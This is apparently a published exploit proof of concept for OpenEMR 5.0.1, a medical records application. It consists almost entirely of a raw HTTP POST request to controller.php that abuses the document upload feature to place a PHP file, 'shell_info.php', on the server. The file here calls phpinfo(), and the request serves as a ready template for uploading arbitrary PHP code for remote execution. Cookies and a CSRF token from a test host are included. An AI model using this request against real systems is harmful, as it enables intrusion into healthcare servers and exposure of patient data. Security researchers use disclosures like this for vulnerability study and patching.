66 lines
No EOL
2.2 KiB
Text
66 lines
No EOL
2.2 KiB
Text
# Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution
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# Date: 2020-06-22
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# Exploit Author: Emre ÖVÜNÇ
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# Vendor Homepage: https://www.open-emr.org/
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# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
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# Version: v5.0.1
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# Tested on: Linux
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# Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities
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# PoC
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To exploit vulnerability, someone could use
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'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&'
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post request to upload malicious php codes.
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POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
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HTTP/1.1
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Host: [TARGET]
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)
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Gecko/20100101 Firefox/79.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
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Content-Type: multipart/form-data;
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boundary=---------------------------141194333536146869123947219434
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Content-Length: 842
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Origin: http://172.16.155.140
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DNT: 1
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Connection: close
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Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl;
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TreeMenuBranchStatus=objTreeMenu_1_node_1_9;
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PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq;
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LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1;
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YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D
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Upgrade-Insecure-Requests: 1
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-----------------------------141194333536146869123947219434
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
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64000000
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-----------------------------141194333536146869123947219434
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Content-Disposition: form-data; name="file[]"; filename="shell_info.php"
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Content-Type: text/php
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<?php
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phpinfo();
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?>
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-----------------------------141194333536146869123947219434
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Content-Disposition: form-data; name="destination"
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-----------------------------141194333536146869123947219434
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Content-Disposition: form-data; name="patient_id"
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00
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-----------------------------141194333536146869123947219434
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Content-Disposition: form-data; name="category_id"
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4
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-----------------------------141194333536146869123947219434
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Content-Disposition: form-data; name="process"
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true
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-----------------------------141194333536146869123947219434-- |